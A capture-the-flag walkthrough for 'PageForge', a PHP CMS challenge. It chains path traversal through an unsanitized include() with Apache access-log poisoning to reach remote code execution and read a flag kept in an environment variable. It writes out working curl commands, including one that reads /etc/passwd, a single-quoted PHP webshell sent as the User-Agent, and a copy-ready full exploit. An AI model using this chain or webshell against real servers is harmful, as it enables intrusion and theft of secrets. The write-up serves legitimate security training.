PageForge
PageForge
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: apache_log_poisoning, environment_variable_exfiltration, lfi_to_rce, path_traversal, user_agent_injection
Summary
Walkthrough of the CUSTOM Web PageForge. Task: PHP CMS with unsanitized include() on a view parameter, Apache log readable via open_basedir. Solution: LFI via path traversal to read Apache access log, then User-Agent log poisoning with PHP w
Description
PageForge is a lightweight content management system built for small teams and bloggers by Forge Digital Inc. The platform allows users to create and manage articles, organize content with categories and tags, and publish static pages. Built with PHP and Apache, it offers a clean, modern interface for content creation and team collaboration. The goal is to explore the application thoroughly and find a way to execute arbitrary commands on the server in order to read a sensitive file. The URL patterns used for navigating between pages may reveal interesting behavior when manipulated. Consider what files exist on the server that might contain useful information — and how the web server itself records your activity.
English summary: A PHP CMS running on Apache/Alpine Linux. The view GET parameter is vulnerable to path traversal via include(). The flag is stored only as an environment variable, requiring RCE. The attack chain is LFI → Apache log poisoning → RCE.
Analysis
Reconnaissance
- Stack: PHP 8.1 on Alpine Linux 3.19, Apache behind nginx/1.25.5 reverse proxy.
- URL pattern: Navigation uses
/page?view=about,/page?view=contact,/page?view=terms-of-service— theviewparameter directly controls which file is included. - Application structure (from
/etc/apache2/httpd.conf): DocumentRoot/app/public, source in/app/src, pages in/app/pages, templates in/app/templates, config in/app/conf. - PHP configuration:
open_basedir = /app:/var/log:/etc:/tmp,allow_url_include = Off,session.save_path = /tmp/sessions. - Flag location: Stored ONLY as an environment variable
FLAG(confirmed from/app/start.sh), meaning RCE is required — simple file read is not enough. - Honeypot: A decoy flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}is planted in the HTML source to trick automated tools and AI agents.
Vulnerability: Unsanitized include()
The PHP code in /app/src/controllers/page.php (line 9) uses:
php read-only • copy allowedinclude("/app/pages/" . $_GET['view']);
No sanitization, no extension appending — the raw view value is concatenated directly into the path.
Key constraints
allow_url_include = Off— PHP wrappers (php://filter,php://input,data://) are all blocked.open_basedir = /app:/var/log:/etc:/tmp— restricts file access, but critically includes/var/log.- Apache log format includes User-Agent verbatim:
"%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"". - Apache escapes double quotes in logged values:
"→\",\→\\. This is the critical pitfall.
Solution
Step 1: Confirm LFI via path traversal
bash read-only • copy allowedcurl -s "https://TARGET/page?view=../../../etc/passwd"
Response includes /etc/passwd contents, confirming Alpine Linux (/bin/ash shell). The path traversal ../../../ escapes from /app/pages/ to the filesystem root.
Step 2: Read Apache access log via LFI
bash read-only • copy allowedcurl -s "https://TARGET/page?view=../../../var/log/apache2/access.log"
The log is readable and shows all HTTP requests including User-Agent strings logged verbatim.
Step 3: Poison the log with a PHP webshell
CRITICAL — Use single quotes in the PHP payload:
Apache's mod_log_config escapes double quotes " as \" in logged header values. If you use double quotes in your PHP payload:
BAD: <?php system($_GET["cmd"]); ?>
→ logged as: <?php system($_GET[\"cmd\"]); ?>
→ PHP fatal parse error: unexpected token "\"
→ Log file permanently corrupted for inclusion!
The correct payload uses single quotes, which Apache does NOT escape:
bash read-only • copy allowedcurl -s "https://TARGET/" -A "<?php system(\$_GET['cmd']); ?>"
This sends a GET request with the PHP webshell as the User-Agent header. Apache logs it to access.log.
Step 4: Trigger RCE and read the flag
bash read-only • copy allowedcurl -s "https://TARGET/page?view=../../../var/log/apache2/access.log&cmd=printenv+FLAG"
When PHP's include() processes the log file, it encounters the <?php tag in the User-Agent field, enters PHP mode, and executes system($_GET['cmd']) which runs printenv FLAG.
The response contains the log entries, and where the poisoned User-Agent was, the flag appears:
172.30.0.3 - - [...] "GET / HTTP/1.1" 200 17453 "-" "FLAG{REDACTED}
"
Complete exploit (one-liner)
bash read-only • copy allowed# Step 1: Poison the log curl -s "https://TARGET/" -A "<?php system(\$_GET['cmd']); ?>" # Step 2: Execute command via LFI curl -s "https://TARGET/page?view=../../../var/log/apache2/access.log&cmd=printenv+FLAG"
Key Takeaways / Lessons
- Mastering apache_log_poisoning, environment_variable_exfiltration, lfi_to_rce, path_traversal, user_agent_injection was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-04 • CUSTOM • PageForge • Difficulty: Medium